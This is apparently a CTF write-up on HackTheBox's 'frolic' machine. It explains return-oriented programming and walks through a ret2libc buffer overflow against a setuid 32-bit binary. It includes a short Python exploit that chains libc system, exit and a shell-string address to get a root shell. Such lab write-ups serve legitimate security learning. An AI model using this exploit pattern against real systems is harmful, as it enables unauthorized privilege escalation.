ROP exploitation on x32 Linux

Introduction

ROP or “Return-oriented programming” is an exploitation technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.

Hacker can easily load the shellcode in the stack or the heap but he can’t start executing it at once. Exploiting memory corruption created by shellcode injection, the attacker get control over EIP and jumps to his code using a chain of carefully chosen ROP gadgets.

ROP gadget is a set of assembler instructions ending with ret instruction or analogs. ROP gadgets may look like:

pop eax ; pop ebp ; ret
pop eax ; pop ebp ; ret 0x1c
pop eax ; pop ecx ; xchg dword ptr [esp], eax ; jmp eax

Jumping in

While I was playing a CTF challenge “frolic” on HackTheBox, and after getting into the machine, the time came for a bit of privilege escalation, and I noticed a Binary called ROP with setuid.

ROP Binary

Checking the binary type

www-data@frolic:/home/ayush/.binary$ file rop
rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped

As we can see above, it’s and ELF 32 bit binary file.

What is ELF?

ELF files are Executable Linkable Format which consists of symbol lookups and relocatable table, that is, it can be loaded at any memory address by the kernel and automatically, all symbols used, are adjusted to the offset from that memory address where it was loaded into. Usually, ELF files have a number of sections, such as ‘data’, ‘text’, ‘bss‘, to name but a few…it is within those sections where the run-time can calculate where to adjust the symbol’s memory references dynamically at run-time.

Fuzzing the application

After a bit of playing with the application’s input figured out that 52 of A will crash the application, so let’s keep this in mind!

Let’s see what are the libraries loaded within the binary by using “ldd”

Cool, let’s search for system address within the libc.so.6 library by using a cool command “readelf”

More information about readelf command here

Let’s take a note of the “0003ada0”, and let’s now look for an exit instructions if any!

Cool, now we got an exit function location, let’s also take a note of it “0002e9d0”

What we need right now, is to find any instruction for executing a command like “bash,sh etc…”, an easy way to find it is by using “strings” command 🙂

Ok, now we have all what we need in order to develop our ROP exploit.

import os
import struct 

base = struct.pack('<I', 0xb7e19000 + 0x0003ada0) # base system
exit = struct.pack('<I', 0xb7e19000 + 0x0002e9d0) # exit 
command = struct.pack('<I', 0xb7e19000 + 0x15ba0b) #command /bin/bash

buffer = "A" * 52 + base + exit + command 

os.system("/home/ayush/.binary/rop " + buffer)

Executing the exploit

Got root 🙂

Leave a Reply